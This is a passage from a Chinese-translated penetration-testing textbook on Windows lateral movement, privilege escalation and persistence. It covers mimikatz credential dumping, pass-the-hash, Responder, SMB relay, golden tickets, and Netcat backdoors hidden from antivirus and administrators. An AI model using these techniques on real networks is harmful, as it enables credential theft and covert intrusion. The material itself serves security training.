module namedmodules.*”，测试人员必须确保已经将Veil-evasion安装在Kali上，并确保安装了impacket 0.9.13。 这是一个相当简单易用的界面，最重要的命令如下： ·use：与Metasploit类似，使用模块。 ·set：设置模块的特定参数。 ·setg：设置一个可以使用的全局变量。 现在，让我们开始使用Vill-Pillage进行掠夺活动，通过运行以下命令设置目标和凭据： 允许攻击者设置多个目标，对于域连接的计算机，相同的用户名和密码应该没有任何问题。在上面的例子中，我们将添加一个本地用户（local user）到域连接的计算机。一旦完成，你应该可以看到如图12.10所示的界面。 攻击者终于进入了Vill-Pillage的run；如果凭据正确，则必须创建本地用户后门，并将其添加到同一系统上的本地管理员。本地用户创建成功后，应该可以看到如图12.11所示的界面。 下一步是启用远程登录，登录到域控制器，并使用新创建的用户后门登录。如果在入侵系统上未启用RDP，则攻击者可以利用Veil-Pillage框架的management/enable_rdp模块框架。下载mimikatz，并以纯文本格式转储所有密码，如图12.12所示。 图12.10 增加local user 图12.11 本地用户增加成功 图12.12 运行mimikatz 12.2 横向提升与横向运动 在横向升级中，攻击者保留其现有的凭据，但是，用它们去模拟不同的用户账户。例如，被入侵系统A上的一个用户，去攻击系统B上的一个用户，尝试去入侵系统B。 用户可以通过一些技术来获得高级访问凭证，包括以下几种方法。 12.2.1 侵入信任与共享域 在本节中，我们将讨论可以操纵的域层次结构，并利用在Active Directory上实现的功能。 攻击者通常使用Windows凭据编辑器（Windows Credential Editor，WCE）来添加、更改、列表和获取NT/LM哈希值，并列出登录会话。WCE下载地址为： http://www.ampliasecurity.com/research/windows-credentials-editor/ 。 使用meterpreter shell，可以将WCE.exe上传到入侵的系统，如图12.13所示。将文件上传到系统后，运行shell命令查看WCE是否成功；运行wce.exe-w将列出使用明文密码的所有用户登录会话。 图12.13 运行wce.exe–w 随后，这些凭据可以被攻击者横向移动到网络中，在多个系统上使用。 渗透测试人员可以大量利用PowerShell的自动的权威工具来执行特定于Active Directory、其他信任域和特权升级等的攻击，我们将在第13章中进行探讨。"},
    {"text": "12.2.2 PsExec、WMIC和其他工具 PsExec是微软关于Telnet的替代，可以从路径 https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx 下载。 通常，攻击者利用PsExec模块，使用有效凭证获得与远程系统的访问与通信，如图12.14所示。 最初，该可执行文件是为系统内部设计的，以作为框架的一部分来解决任何问题。现在可以通过运行PsExec Metasploit模块并执行远程选项。这将打开一个壳；测试人员可以输入用户名和密码，也可以传递哈希值，因此无须破解密码哈希即可访问系统。现在，如果一个系统在网络上受到入侵，那么不需要任何密码，就可以执行所有横向移动。 图12.14 运行PsExec 图12.15提供了具有有效凭据的PsExec的Metasploit模块。 图12.15 具有有效凭据的PsExec的Metasploit模块 WMIC 针对新的目标系统，攻击者和渗透测试人员利用内置的脚本语言。例如，Windows设备管理命令行（Windows Management Instrumentation Command-line，WMIC），通过使用命令行和脚本界面来简化访问Windows配置。如果被渗透系统支持WMIC，可以通过一些命令来收集信息。请参见表12.5。 表12.5 支持WMIC的信息收集命令 PowerShell是一种基于.NET框架的脚本语言，从控制台上运行，提供用户访问Windows文件系统和对象的接口，例如注册表。Windows 7及更高的操作系统上默认安装PowerShell。WMIC为PowerShell提供了扩展脚本支持和自动化，允许Shell用户对本地和远程目标进行集成和互操作。 PowerShell让测试人员访问被击垮系统上的shell和脚本语言。作为Windows操作系统的自带程序，其使用的命令不会触发杀毒软件。当脚本在远程系统上运行时，由于PowerShell不会写入磁盘，因而可以绕过反病毒软件和白名单过滤（假设用户已经允许使用PowerShell）。 PowerShell支持一些被称为cmdlets的内置函数。PowerShell的优点之一是由于cmdlets是常见的UNIX命令的别名，所以在键入ls命令将返回一个典型的目录列表，如图12.16所示。 图12.16 使用ls命令的屏幕截图 PowerShell是一种支持复杂操作的脚本语言，建议用户花时间来熟悉它的使用。一些较简单的、可以立即展示结果的命令见表12.6。 表12.6 简单的PowerShell命令表 渗透测试人员可以使用Windows自带的命令文件、DLL、.NET函数、WMI调用和PowerShell的cmdlets命令一起创建后缀名为.ps1的PowerShell脚本。在使用WMIC利用凭证横向移动的例子中，攻击者在远程机器上运行进程，从内存转储明文密码。执行的命令如下： 在渗透测试中，攻击者的能力需要面对一些限制。有效的利用、后利用PowerShell脚本，包括键盘记录，可以从Nikhil Mittal写的nishang包获得，可以访问URL： https://code.google.com/p/nishang/downloads/detail?name=nishang_0.3.0.zip 。 侦察也应该扩展到本地网络。既然你正在“盲目”地工作，你将需要创建一个与被击垮主机通信的地图，被击垮主机包括实时系统和子网。首先在shell提示符下输入IFCONFIG（基于UNIX的系统）或IPCONFIG/ALL（Windows系统）。这将允许一个攻击者确定以下内容： ·DHCP地址是否有效。 ·本地IP地址，这将确定至少有一个活跃子网。 ·网关的IP地址和服务器地址。系统管理员通常遵循网络中的编号惯例，并且，如果攻击者知道一个地址，例如，一个网关服务器的地址192.168.0.1，他们将用ping找地址，如192.168.0.123、192.168.0.138等，通过这些地址寻找到其他子网。 ·能过域名利用活动目录（Active Directory）账号。 如果攻击系统和目标系统使用的是Windows操作系统，net view命令可以用来枚举网络上的其他Windows操作系统。攻击者使用netstat–rn命令来审查那些包含通往其他网络，或者感兴趣系统的静态路由的路由表。 可以使用nmap来扫描本地网络嗅探出ARP广播。另外，Kail有几个工具可以用作SNMP端点分析工具，包括：nmap、onesixtyon和snmpcheck。 部署一个数据包嗅探器来映射流量将会帮助你识别主机名、活跃子网和域名。如果DHCP地址没有启用，它也将允许攻击者确定任何未使用的、静态的IP地址。Kail预先配置使用Wireshark（基于GUI的数据包嗅探器），但是你可以在一个后期利用脚本中，或者在命令行使用tshark，如图12.17所示。 图12.17 使用tshank命令 12.2.3 使用服务的横向运动 如果渗透测试人员遇到没有PowerShell的系统调用呢？在这种情况下，SC可以非常方便地为你访问的所有系统或匿名访问共享文件夹的系统，在网络中执行横向移动。"},
    {"text": "12.2.4 枢轴与端口转发 在第10章中，我们讨论了绕过内容过滤和NAC的端口转发的简单方法。在本节中，我们将使用Metasploit的meterpreter在目标上进行枢轴转换和转发。 在目标系统的活动会话期间，使用Meterpreter，攻击者可以使用同一个系统扫描内部网络。如图12.18所示，显示了具有两个网络适配器192.168.0.119和192.168.52.129的系统。 但是，攻击者的IP没有到达内部IP范围的路由；攻击者使用meterpreter可以在入侵系统增加路由，通过在meterpreter中运行run post/multi/manage/autoroute来启动后利用自动路由模块，如图12.19所示。该模块通过将使用入侵机器作为桥梁，从Kali攻击盒添加新路由到内部网络。 现在，从攻击者的IP到内部IP范围（192.168.0.52.x）的所有流量，都将通过入侵系统（192.168.0.x）进行路由。 现在，我们对meterpreter会话使用background，并尝试了解超出IP范围的内容，使用Metasploit中的NetBIOS扫描仪，命令如下： 图12.18 有两个网络适配器的系统 图12.19 执行runpost/multi/manage/autoroute 确保我们将RHOSTS设置为内部系统的IP范围（见图12.20）。这将使攻击者能够在跳频网络上找到更多的系统。 图12.20 使用background 一旦使用NetBIOS识别系统，下一步是扫描所识别的主机的服务，以实现漏洞测试目标。典型的举措是在Metasploit模块中使用端口扫描器，如图12.21所示。 图12.21 使用扫描器 使用代理链 想要使用nmap和其他工具扫描网络以外的主机，渗透测试人员可以通过运行以下命令行来利用Metasploit模块的socks4a： 通过编辑/etc/proxychains.conf，并将socks4配置更新为端口1080（或在Metasploit模块中设置的端口号），在运行模块后配置代理链（Proxychains）配置，如图12.22所示： 图12.22 配置代理链 现在，攻击者将能够通过终端运行proxychains nmap-vv-sv 192.168.52.129来直接运行nmap。 12.3 小结 在本章中，我们着重介绍了渗透到目标系统后，紧接着要做的事。即对系统的服务特征与本地环境进行初始快速评估。我们还学习了如何使用后期开发利用工具来定位感兴趣的目标文件、创建用户账户，并执行横向升级来获取其他特定用户的更多信息。我们专注于Metasploit的meterpreter和Veil-Pillage，以收集更多的信息来执行横向移动和特权攻击。 在下一章中，我们将学习如何创建一个可持续访问的后门，还将学到与入侵系统进行隐蔽通信的技术。 第13章 特权升级 “要完成伟大的事情，不仅要通过行为，也要怀揣梦想，把自己的特权提升到最高水平。” 权限升级是指从相对较低的访问权限级别获得管理员、系统管理员或更高访问权限的过程。它允许渗透测试员拥有系统操作的所有权限。更重要的是，获取某些访问权限将允许测试人员通过网络控制所有系统。随着漏洞变得越来越难以找到和利用，人们在特权升级中进行了大量的研究，将其作为确保渗透测试成功的手段。 在本章中，我们将介绍以下主题： ·通用升级方法 ·本地系统升级 ·DLL注入 ·PowerShell的Empire工具 ·凭证收获和升级 ·Active Directory访问权限 ·针对Kerberos的金票攻击 13.1 常见的升级/扩展方法概述 从方法论开始，任何事情都有解决的方法。在本节中，我们将介绍攻击者在红队练习或渗透测试中使用的共同升级方法。图13.1描述了可以使用的方法。 图13.1 共同升级方法 根据杀链方法，目标的行动包括对目标环境的主要持久性的特权升级。 访问任何典型的目标系统的步骤如下： ·普通用户（Normal user）：通过在用户级运行后门程序访问系统。他们是系统（Windows或UNIX）的普通用户。 ·本地管理员：本地管理员是有权作系统配置更改的系统用户。 ·委派的管理员：委派的管理员是具有管理员权限的本地用户。 ·域管理员：域管理员是可以管理他们所属域的用户。 ·企业管理员：企业管理员是在活动目录中维护整个网络，有最多权限的用户。 ·架构管理员：架构管理员是可以配置网络的用户。 13.2 本地系统扩展 我们可以在用户的内容中运行Meterpreter shell。升级本地系统权限的方法很多，可以通过PowerShell自定义开发，也可以用Meterpreter shell来实现。 当攻击者最初访问系统并尝试运行系统级命令时，他们会收到拒绝访问（access denied）或没有权限在目标系统上运行命令（no privilege available to run the commands on the target system）的响应。这可以通过从Meterpreter控制台运行getsystem命令来验证，如图13.2所示。 图13.2 运行getsystem失败 可以通过使用后期利用模块将background发送到Meterpreter shell，并使用后期利用模块bypassuac来绕过，如图13.3所示。 图13.3 使用bypassuac Meterpreter中的bypassuac模块将利用Meterpreter上的现有会话，提供更多特权的Meterpreter shell，如图13.4所示。 图13.4 获得更多特权的Meterpreter shell"},
    {"text": "13.2.1 由管理员升级到系统管理员 系统管理员权限允许攻击者创建和管理账户，访问系统上大部分有效数据。然而，一些复杂的功能任务，要求请求者具有系统（SYSTEM）级别的访问权限。有几种方法可以实现将特权升级到系统级别。最常用的方法是用at命令，它是Windows过时的、没有安全的、为一个特定的时间分配任务的命令。at命令总是在系统级权限上运行，然而，现在只能以非交互模式运行（见图13.5）。 图13.5 执行at命令 使用一个交互式的shell（在meterpreter命令提示符下输入shell），打开一个命令提示符，并确定被入侵系统的本地时间。如果时间是下午12：50（该功能采用24小时计时法），在稍晚的时间安排一个交互式的命令shell，如图13.6所示。 图13.6 成功创建计划任务 当at任务指定好运行时间后，在meterpreter命令提示符下，再次确认一下你的访问权限，如图13.7所示。 图13.7 在meterpreter命令提示符下确定权限级别 Windows 7和Windows 2008不允许不受信任的系统（如ADMIN$，C$等）远程访问管理共享。Meterpreter脚本可能需要这些共享，例如隐形模式或支持对SMB的攻击。为了解决这个问题，将HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System添加到注册表中，并添加一个名为LocalAccountTokenFilterPolicy的新DWORD（32位）密钥，并将其值设置为1。 13.2.2 DLL注入 DLL注入指攻击者在另一个进程的地址空间的上下文中运行远程代码的行为，是另一种简单的技术。此进程必须以超级权限运行，然后以DLL文件的形式升级特权。 Metasploit具有执行DLL注入的特定模块。攻击者唯一需要做的是链接现有的Meterpreter会话，并指定DLL的路径和进程的PID。 在Meterpreter shell上从/usr/share/metasploit-framework/data/exploits/CVE-2015-2426/reflection_dll.x64.dll上传DLL，用户可以看到上传到目标位置的文件，如图13.8所示。 图13.8 上传DLL并查看上传到目标位置的文件 文件上传后，退出（exit）命令提示符，返回到Meterpreter shell。现在运行ps命令列出所有进程。识别在系统级运行的进程的ID；在示例中，我们将使用进程ID为3388的msdtc.exe，然后通过运行background命令来背景化Meterpreter shell。 通过运行post/windows/manage/reflection_dll_inject，在模块中使用后期利用reflective_dll_inject。然后设置PATH和SESSION并利用，如图13.9所示。 图13.9 完成后期模块执行 另一种方法是利用PowerShell在远程主机上运行DLL的能力，并调用具有系统级特权的远程shell。攻击者可以通过运行以下命令，用msfvenom创建一个后门程序（见图13.10）： 图13.10 用msfvenom创建后门程序 一旦有效载荷被注入到DLL中，攻击者就可以在Meterpreter中使用upload命令，将DLL转移到目标系统；或者，通过启动Apache服务（service apache2start）在同一个Kali机器上托管，接着将inject.dll文件移动到/var/www/html/，并从现有的Meterpreter shell将inject.dll上传到目标系统，然后下载Invoker PowerShell脚本，地址是： https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1 。最后将本地文件注入到现有的特权进程中。 远程桌面进入目标系统，启动PowerShell，并运行以下命令，如图13.11所示。 图13.11 远程注入DLL文件到目标系统 一旦成功调用DLL，必须执行有效负载，并且必须打开一个反向shell作为系统级用户，如图13.12所示。 图13.12 打开反向shell作为系统级用户"},
    {"text": "13.2.3 PowerShell的Empire工具 Empire工具是当今最强大的后期开发工具，并被全球渗透测试人员用来在渗透测试中执行各种不同的攻击，以论证系统漏洞。此工具运行的PowerShell代理程序本质上是持久的。它还利用其他重要的工具，如mimikatz。在本节中，我们将更加深入地了解如何使用PowerShell的Empire工具来升级被入侵系统的权限，而无须植入任何后门或使用任何入侵技术。 渗透测试人员可以使用git克隆资源库： 一旦安装完成，我们应该看到提示输入服务器协商的密码。同样可以用来重置数据库，如图13.13所示。 图13.13 提示输入服务器协商的密码 使用Empire工具时需要注意的一个重要文件是reset.sh。该文件用于完全擦除数据库并启动新的数据库。一旦安装了应用程序，下一步就是运行./empire，攻击者应该可以看到Empire工具，如图13.14所示。 图13.14 进入Empire工具命令行窗口 目前的Empire工具有大约267个内置模块。表13.1提供了使用Empire工具非常关键的命令列表，类似于Metasploit和Veil-Pillage；然而，这些命令使用时有自己特定的方式。 表13.1 Empire工具非常关键的命令 Empire工具有以下四个重要角色： ·监听器（Listener）：类似于Meterpreter监听器，等待于被入侵系统的连接。监听器管理提供不同类型的接口：dbx、http、http_com、http_foreign、http_hop和meterpreter。在本章中，我们将探讨http。 ·Stager：Stager提供OS X、Windows和其他操作系统的模块列表。它们是DLL、宏、单行和其他内容。 ·代理（Agent）：代理是连接到听众的“僵尸”。可以通过运行代理（agent）命令访问所有代理，这将直接进入代理菜单。 ·日志记录和下载（Logging and downloads）：只有当代理成功连接到侦听器时，才能访问此部分。与Meterpreter类似，Empire工具允许我们通过PowerShell在本地机器上运行mimikatz，并导出细节以执行更为集中的攻击。 首先是设置本地监听器。命令listeners将帮助我们跳转到监听器菜单。这里会显示所有的活动监听器。使用listener http命令创建一个监听器，如图13.15所示。 图13.15 用listener http命令创建监听器 一旦选择了监听器，默认情况下设置端口号为80。如果你正在运行HTTP服务，可以通过输入set Port portnumber（设置端口号）来更改。请记住，Empire工具中的所有命令都区分大小写。你可以使用能自动更正命令并提供选项的标签功能。 下一步是执行和启动，如图13.16所示。启动器允许选择Python或PowerShell语言。 图13.16 更改端口号并启动监听器 为了使系统成为其代理，攻击者可以利用他们现有的Meterpreter会话来运行PowerShell，以及由Empire工具生成的有效载荷。 一旦有效载荷在远程系统上运行，Empire工具界面必须显示以下内容，如图13.17所示。 图13.17 活动代理的主要信息 为了与代理交互，必须输入interact“name of the agent”（要交互代理的对象的名称）。你可以从HTTP监听器运行system level（系统级）命令到代理，如图13.18所示。 图13.18 实现与目标代理交互 接下来是升级用户的权限；在这个例子中，我们将使用一个有连接的系统，该连接是由运行有效负载和代理的本地管理员打开的。 输入usemodule privesc/powerup/allchecks并运行执行（execute）命令。输出应如图13.19所示。 图13.19 执行usemodule privesc/powerup/allchecks命令 这个阶段的用户在授予管理权限的本地组中；这有助于攻击者提升权限，以便他们可以执行下一个操作。为了绕过UAC，在Empire终端输入back（后退），然后输入bypassuac http。 最后一步是使用Empire工具中的mimikatz模块将所有登录凭据转储成纯文本。这可以通过运行mimikatz来实现。攻击者现在可以使用纯文本密码，如图13.20所示。 图13.20 纯文本的登录凭证信息 13.3 凭据收割和升级攻击 凭证收割是识别目标用户名、密码和散列值的过程，这些可用于渗透测试/红队运动活动设定组织。在本节中，我们将介绍使用Kali Linux的攻击者通常使用的三种不同类型的凭据收割机制。"},
    {"text": "13.3.1 密码嗅探器 密码嗅探器是一组工具/脚本，通常通过发现、欺骗、嗅探流量和代理来执行中间人攻击。 在本节中，我们将探讨用BetterCap来捕获网络上的SSL流量，以便我们可以捕获网络用户的凭据。 BetterCap类似于上一代的ettercap，具有执行网络级欺骗和嗅探的附加功能。通过在终端运行apt-get install bettercap，可以将BetterCap下载到Kali Linux。 BetterCap的核心选项是： ·-T：指定MiTM目标（IP或MAC） ·-I：接口的使用 ·-G：指定网关地址（通常是自动的） ·--no-discovery：不搜索主机（使用ARP缓存） ·--ignore：忽略ADDRESS1，ADDRESS2 ·--check-updates：更新软件包 ·-X：执行MiTM 使用-X选项运行bettercap来执行MiTM攻击，如图13.21所示。 图13.21 运行bettercap-x命令执行MiTM攻击 如果启用了discovery（发现），它将自动发现目标。我们也可以根据需求指定主机。渗透测试人员在使用BetterCap时应该谨慎，因为这会暂停你的Kali Linux连接到的整个网络。 为了捕获HTML连接，以便你可以注入有效载荷并重定向特定目标的流量，请运行以下命令： 攻击者还可以利用BetterCap暂停网络，并利用HTTP严格传输安全（HTTP Strict Transport Security，HSTS）——Web安全策略漏洞影响的所有网站。要查看特定受害者的所有SSL流量，必须运行bettercap-T VICTIMIP--proxy-P POST。 SSLSTRIP的结果将如图13.22所示。 图13.22 SSLSTRIP的结果 13.3.2 Responder Responder（响应者）是针对本地链路多播名称解析（Link-Local Multicast Name Resolution， LLMNR）和NetBIOS名称服务（NetBIOS Name Service，NBT-NS）的内置Kali Linux工具，可根据文件服务器请求响应特定的NetBIOS查询。可以通过在终端中运行responder-I eth0-h来启动此工具，其中eth0指的是自己网络上你想要的以太网适配器名称，如图13.23所示。 Responder可以执行以下操作： ·检查包含任何特定DNS条目的本地主机文件 ·在所选网络上自动执行DNS查询 ·使用LLMNR/NBT-NS向所选网络发送广播消息 图13.23 启动responder工具 同一网络上的攻击者可以在该网络上启动Responder，如图13.24所示。Responder可以自行设置多种服务器类型： 图13.24 启动同一网络上的Responder 在这个例子中，假设受害者正试图访问位于\\\\advanced\\\\的文件服务器的用户，其IP地址为192.168.0.119。但是，受害者会收到如图13.25所示的错误消息。 图13.25 访问失败的提示信息 现在攻击者使用Responder暂停包含NTLM用户名和散列的结果，如图13.26所示。 图13.26 攻击者获取受害者的NTLM用户名和散列值 通过在终端中运行responder-I eth0-wrFb，可以使用Responder执行另一个简单的捕获密码攻击。在这种情况下，用户将获得一个NTLM弹出窗口以输入用户名和密码。如果受害者输入用户名和密码，攻击者就会在响应者中捕获这些信息，如图13.27所示。 图13.27 攻击者捕获受害者的用户名和密码 所有日志文件将放在/usr/share/responder/logs/下，日志文件名为SMBv2-NTLMv2-SSP-<IP>.txt。然后可以通过运行johnSMBv2-NTLMv2-SSP-<IP>.txt直接传递给John the Ripper，以便脱机破解捕获的NTLM散列。 13.3.3 SMB中继攻击 SMB专用攻击是最近新兴的一种有趣的攻击，包括EternalBlue和SMB中继攻击。渗透测试人员利用SMB中继来捕获身份认证尝试（请求），并将其用于网络上的进一步行动。这些只是另一个pass the hash（绕过哈希）攻击。为了启动SMB中继攻击，请执行以下步骤： 1）用特定的有效载荷创建一个后门： 2）现在使用smbrelayx.py装备SMB中继攻击，如图13.28所示，并运行主机脚本。这应当会让攻击者成功地得到另一个反向shell： 图13.28 用smbrelayx.py装备SMB中继攻击 3）最后，你应该可以在Meterpreter上看到一个反向shell，如图13.29所示。 图13.29 反向shell的截图"},
    {"text": "13.4 升级Active Directory中的访问权限 我们刚刚探索了如何升级系统内的权限，以及如何通过网络获取凭据。现在让我们利用迄今收集的所有细节。然后，使用杀链方法实现渗透测试的目标。在本节中，我们将把普通域用户的权限升级为域管理员。 我们可以识别连接到域的系统，并使用Empire PowerShell工具升级到域控制器，转储所有用户名和密码散列值，如图13.30所示。 图13.30 活动代理的主要信息 你可以使用态势感知模块get_domain_controller收获更多关于域的信息，如图13.31所示。 图13.31 执行态势感知模块 第二步是从Empire PowerShell工具中调用wmi模块。这将调用域控制器成为监听器的代理，如图13.32所示。 图13.32 从Empire PowerShell调用wmi模块 现在使用新代理与代理的域控制器通信，如图13.33所示。 图13.33 使用新代理与代理域控制器通信 攻击者可以使用get_loggedon模块来识别谁登录到域中，命令如下： 所有登录域控制器的用户必须是可见的，如图13.34所示。 图13.34 查看登录到域控制器的所有用户 通过使用getsystem模块在本地升级权限，如图13.35所示。 图13.35 升级本地权限 升级方法的下一步是将权限升级到域管理员。一旦运行mimikatz来转储所有用户的密码和散列，这一步就不是必须的，如图13.36所示。你可以通过Metasploit中的PSEXEC模块使用散列进行身份验证。 图13.36 使用mimikatz转储认证 现在，攻击者可以通过在Empire界面中输入creds来检查Empire工具的凭据存储中的所有凭据，如图13.37所示。 图13.37 检查所有凭据 使用远程桌面协议（RDP），攻击者可能会使用多种方式来利用域控制器进行远程访问或直接访问系统。在这个例子中，我们将直接使用本地访问系统。 要转储Active Directory中的所有用户，我们必须找到完整的安全注册表和系统注册表，并且获取ntds.dit也是非常重要的。可以通过单个PowerShell命令使用Ntdsutil来执行： 上述命令是做什么的？ Ntdsutil是Windows服务器系列内置的一个命令行工具，用于提供Active Directory域服务的管理。它们是从媒体安装的（Install From Media，IFM），因此服务器不需要复制域数据，如图13.38所示。最后，我们可以在c：\\temp创建文件，包含两个文件夹，Active Directory和注册表（registry）。 图13.38 查看Ntdsutil的信息并创建文件 现在，注册表和系统配置单元都已在临时（temp）文件夹中创建，可以使用secretsdump.py来进行离线破解密码。 secretsdump.py是来自Impacket的Kali Linux中的内置脚本。要查看纯文本和散列密码，攻击者可以在终端中运行secretsdump.py-system<systemregistry>-security<securityregistry>-ntds<ntds“LOCAL”。运行secretsdump.py时，你应该可以看到如图13.39所示的屏幕截图。 图13.39 破解散列密码查看纯文本 搜索pekList后，所有Active Directory用户名及其密码散列都必须对攻击者可见，如图13.40所示。 图13.40 所有Active Directory用户名及其密码散列信息 另一个更简单的方法是使用mimikatz通过运行以下命令转储所有密码： 必须转储所有凭据的散列值，如图13.41所示。 图13.41 转储凭据的散列值 企业管理员和架构管理员的密码散列以类似的方式获得离线密码破解，然后为了在网络上的横向行动，坚持渗透测试或红队练习的目标。 13.5 入侵Kerberos——金票攻击 最近发现的另一组更复杂的攻击，是在活动目录环境下滥用Microsoft Kerberos漏洞。成功的攻击导致攻击者入侵域控制器，然后使用Kerberos实现将权限升级到企业管理员和架构管理员。 以下是用户在基于Kerberos的环境中，用用户名和密码登录的典型步骤。 ·用户密码被转换成具有时间戳的NTLM散列值，然后将其发送到Kerberos密钥分发中心（Key Distribution Center，KDC）。 ·域控制器检查用户信息并创建一个授予–票证票据（Ticket-Granting ticket，TGT）。 ·该TGT只能通过Kerberos服务（Kerberos service，KRBTGT）访问。 ·然后，TGT从用户端通过域控制器传递到请求票证授权服务（Ticket Granting Service，TGS）的票据。 ·域控制器验证权限账户证书（Privileged Account Certificate，PAC），如果允许打开票证，则TGT将被有效地复制，用来创建TGS。 ·最后，用户访问服务器获得服务。 攻击者可以根据可用的密码散列来操纵这些Kerberos票证。例如，如果你已经破坏了一个连接到域的系统，并提取了本地用户凭据和密码散列。下一步就是识别KRBTGT密码散列得到金票。 在本节中，我们将探讨如何轻松生成金票。如果我们有一个具有低级别域用户账户的域计算机，那么可以利用Empire工具，只需一步就能利用此漏洞。这可以通过运行模块golden_ticket来实现，如图13.42所示。 图13.42 运行golden_ticket模块 当模块运行时，使用KBRTGT密码散列为用户建立金票。现在，攻击者将可以对域执行特权活动，例如直接访问文件服务器、数据库等。这也可以通过在受损系统上从mimikatz运行以下内容来实现。 通过运行这些攻击，攻击者将被认证为包括企业管理员和架构管理员在内的任何用户。 与此类似的另一种类型的攻击是Kerberos银牌攻击，但很少论及。这种攻击再次发生在伪造TGS上，但它是由服务账户签署的，这意味着银票攻击仅限于针对服务器的任何服务。PowerShell的Empire工具通过提供rc4/NTLM散列的参数使用模块credentials/mimikatz/silver_ticket，用于开发相同的漏洞。"},
    {"text": "13.6 小结 在本章中，我们研究了特权升级的方法，并探讨了可用于实现渗透测试目标的多种方法和工具。 首先，我们使用bypassuac和通过利用现有的Windows计划任务来启动通用的系统级权限升级。 我们的重点是利用Meterpreter来获得系统级控制权，之后深入了解了PowerShell的Empire工具，然后通过在网络上使用密码嗅探器来收获凭据。我们还利用响应者和SMB中继攻击来获得远程系统访问，并且我们使用响应者捕获了使用SMB的网络上的不同系统的密码。 我们使用结构化方法完全入侵了Active Directory。最后，利用Empire PowerShell攻击Active Directory中的访问权限，并通过使用Empire工具执行金票攻击来入侵Kerberos。 在下一章中，我们将了解攻击者如何使用不同的技术来维护对受攻击（如使用杀链方法）的系统的访问权限。我们还将深入了解如何将数据从内部系统渗透到外部系统。 第14章 命令和控制 “战争以正确的指挥和控制赢得胜利。” 现代攻击者对利用系统或网络并不感兴趣，而是继续前进；相反，他们的目标是攻击并入侵一个有价值的网络，然后尽可能长时间地生活在网络上。命令和控制指的是测试人员通过一个重复的攻击行为，长期占领入侵系统、保持双向通信、过滤数据到测试者的位置、并隐藏攻击的证据。 攻击者杀链的最后阶段是“命令、控制、通讯”阶段，在此期间，攻击者依赖一个与被入侵系统的持续连接，保证他们能继续控制被入侵系统。 为了实现高效运行，攻击者必须能够保持持久交互（interactive persistence）——他们必须与被攻击系统保持双向通信（交互），与被入侵的系统保持长期的交互而不被发现（持久性）。这种类型的连接需求的原因如下： ·可能检测到网络入侵，被入侵的系统可能识别并打补丁。 ·一些攻击只能使用一次，因为漏洞是间歇性的，渗透攻击可能导致系统失效，或者因为攻击改变了系统，漏洞表现为不可用。 ·由于各种原因，攻击者可能需要多次返回到相同的目标。 ·当目标被攻破，不可能立即就知道目标的利用价值。 用来维持持久交互的工具，在经典的术语里，简称为后门（backdoor）或者恶意软件（rootkit）。但是，自动化的恶意软件和人为攻击已经使传统标签的意义变得模糊。与之相反，这种打算在被入侵系统上停留较长时间的恶意软件，被称为持久代理（persistent agents）。 这些持久代理为攻击者和测试者执行许多功能，主要包括如下功能： ·允许上传的额外工具支持新的攻击，特别是对位于同一网络的系统。 ·便于从被入侵的系统和网络中外泄数据。 ·允许攻击者和被入侵系统重新连接，通常通过加密信道来避免探测。众所周知，持久代理在被入侵系统的停留时间超过一年。 ·采用反取证技术来避免被发现，包括在目标文件系统或系统内存中隐藏，使用强认证和加密技术。 在本章中，你将了解以下几点： ·破解现有的系统和应用程序文件，进行远程访问。 ·使用持久代理。 ·使用Metasploit框架保持持久性。 ·数据渗出。 ·覆盖痕通以隐藏攻击证据。 14.1 使用持久代理 传统意义上，前门（front door）为合法的用户提供认证接入，而攻击者会在被攻击的系统上植入一个后门，后门程序允许攻击者返回被攻破系统，获得服务和数据。 不幸的是，经典的后门程序提供有限的交互，它不是为了能够在被攻破系统上停留较长时间而设计的。传统后门最显著的缺点是：一旦这个后门被发现移除后，攻击者只能重复攻击过程来攻破系统，而这是非常困难的，因为预警系统的管理员会对网络和资源进行防护。 Kali现在以持久代理为重点，如果使用得当，很难发现持久代理。我们将回顾第一个令人敬佩的工具Netcat。"},
    {"text": "14.1.1 使用Netcat作为持久代理 Netcat利用“原始”的TCP和UDP数据包，支持从网络连接中读数据、写数据。与Telnet或者FTP服务形成的数据包不同，Netcat的数据包不具有包头和其他特殊信道信息。这简化了通信，并考虑了适应大部分通信信道。 最新的稳定版本由Hobbit在1996年发行，它保持了和以往一样的强大功能。它经常被称为TCP/IP瑞士军刀（TCP/IP Swiss army knife）。Netcat可以完成许多功能，主要列举如下： ·端口扫描。 ·提取用来识别服务的标志。 ·端口重定向和代理。 ·文件转移和网上聊天，包括支持数据取证和远程备份。 ·在被攻破系统上，作为后门或者持久交互代理。 基于这点，我们将重点关注利用Netcat在被攻破系统上创建一个持久shell。尽管随后的例子是用Windows作为目标平台，但它在基于UNIX系统的平台上也发挥同样的功能。 在图14.1中可以看到，我们将保留可执行文件的名字——nc.exe，在使用前，普遍对其重新命名，以最小化其被探测到的可能性。即使它已经被重命名，通常也会被反病毒软件发现；许多攻击者会修改或者移除Netcat源代码中的不需要的元素，并在使用前重新编译；这样的变化能够改变反病毒软件用来识别应用的签名，比如Netcat，这会使反病毒软件对其不可见。 Netcat存储在Kali的/usr/share/windows-binaries库中。从内部meterpreter输入如下的命令，可以上传到被攻破系统中： 上述命令执行的结果，如图14.1所示。 图14.1 上传Netcat的屏幕截图 你无须专门把Netcat放在system32文件夹中；但是，由于此文件夹中文件的数量和文件类型的多样性，这是隐藏在感染系统文件的最佳位置。 当在客户端进行渗透测试时，我们发现在一台服务器上有6个独立的Netcat实例。有两个是被两个不同的系统管理员安装，用以支持网络管理，其他4个实例是被外部攻击者安装，直到渗透测试开始都没有被发现。因此，要经常检查目标机器上是否安装Netcat。 如果没有meterpreter连接，需要用简单文件传输协议（Trivial File TransferProtocol，TFTP）来传输文件。 接着，用如下命令配置注册表，使系统开始运行，并启动Netcat；确保监听端口444（或者你选择的其他任何长期不被使用的端口）： 用如下queryval命令来确认已成功修改注册表： 使用netsh命令，打开一个连接到本地防火墙的端口，用来确保被入侵系统能够远程连接到Netcat。重要的是要知道目标的操作系统信息。Windows Vista、Windows Server 2008和最新版本使用netsh advfirewall firewall命令行环境，而之前的操作系统使用netsh firewall。 为了增加端口到本地防火墙，需要在meterpreter提示符后输入shell命令，然后使用适当的命令规则。当对规则进行命名时，比如svchostpassthrough，名字应该暗示此规则对系统的正常运行有重要作用。示例命令显示如下。 用如下命令确认修改已成功： 图14.2显示了上述命令执行的结果： 图14.2 增加端口连接 